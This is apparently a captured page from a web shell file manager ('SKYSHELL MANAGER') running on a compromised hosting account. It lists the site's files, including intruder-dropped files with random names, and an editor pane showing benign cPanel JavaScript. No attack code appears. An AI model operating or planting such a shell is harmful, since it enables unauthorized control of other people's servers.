📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: toggleSwitchDirective.js
/* # cjt/directives/toggleSwitchDirective.js Copyright(c) 2020 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited */ /* global define: false */ define( [ "angular", "lodash", "cjt/core", "cjt/util/test", "uiBootstrap", "cjt/directives/spinnerDirective", "cjt/templates" // NOTE: Pre-load the template cache ], function(angular, _, CJT, TEST) { "use strict"; var module = angular.module("cjt2.directives.toggleSwitch", [ "cjt2.templates", "cjt2.directives.spinner" ]); /** * Directive that renders a toggle switch * @attribute {String} id - * @attribute {String} enabledLabel * @attribute {String} disabledLabel * @attribute {String} labelPosition - one of right, left, none * @attribute {String} spinnerPosition - one of right, left * @attribute {Boolean} noSpinner - true or false, if true will suppress the spinner. * @attribute {String} ariaLabel * @attribute {Binding} ngDisabled * @attribute {Binding} ngModel - required * @attribute {Function} onToggle - required to make the switch toggle on click. You must provide this and it * must handle the needed state change to trigger a toggle effect. * @example * <toggle-switch ng-model="state" on-toggle="state = !state" /> */ module.directive("toggleSwitch", ["spinnerAPI", function(spinnerAPI) { var RELATIVE_PATH = "libraries/cjt2/directives/toggleSwitch.phtml"; return { restrict: "E", templateUrl: CJT.config.debug ? CJT.buildFullPath(RELATIVE_PATH) : RELATIVE_PATH, require: "ngModel", replace: true, scope: { parentID: "@id", enabledLabel: "@", disabledLabel: "@", labelPosition: "@", spinnerPosition: "@", ariaLabel: "@", isDisabled: "=ngDisabled", ngModel: "=", onToggle: "&", }, link: function(scope, elem, attrs) { scope.noSpinner = attrs.noSpinner === "true" || attrs.noSpinner === "1"; scope.spinnerId = scope.parentID + "_toggle_spinner"; if (!scope.labelPosition) { scope.labelPosition = "right"; // To preserve behavior that existed } else if (!_.includes(["left", "right", "none"], scope.labelPosition)) { throw "Invalid label-position set: " + scope.labelPosition + ". Must be one of: left, right, none."; } if (!scope.spinnerPosition) { scope.spinnerPosition = "right"; // To preserve behavior that existed } else if (!_.includes(["left", "right"], scope.spinnerPosition)) { throw "Invalid label-position set: " + scope.spinnerPosition + ". Must be one of: left or right."; } scope.noLabel = (!scope.enabledLabel && !scope.disabledLabel) || scope.labelPosition === "none"; scope.handle_keydown = function(event) { // prevent the spacebar from scrolling the window if (event.keyCode === 32) { event.preventDefault(); } }; scope.handle_keyup = function(event) { // bind to the spacebar and enter keys to toggle the field if (event.keyCode === 32 || event.keyCode === 13) { event.preventDefault(); scope.toggle_status(); } // bind left arrow to turn off if (event.keyCode === 37) { event.preventDefault(); if (scope.ngModel) { scope.toggle_status(); } } // bind right arrow to turn on if (event.keyCode === 39) { event.preventDefault(); if (!scope.ngModel) { scope.toggle_status(); } } }; scope.get_aria_value = function() { return scope.ngModel ? "true" : "false"; }; /** * Start the spinner if needed */ var _startSpinner = function() { if (!scope.noSpinner) { spinnerAPI.start(scope.spinnerId, false); } }; /** * Stop the spinner if needed */ var _stopSpinner = function() { if (!scope.noSpinner) { spinnerAPI.stop(scope.spinnerId, false); } }; scope.toggle_status = function() { if (scope.changing_status || scope.isDisabled) { return; } scope.changing_status = true; _startSpinner(); var promise = scope.onToggle(); if (TEST.isQPromise(promise)) { promise.finally(function() { scope.changing_status = false; _stopSpinner(); }); } else { scope.changing_status = false; _stopSpinner(); } }; } }; } ]); } );
Save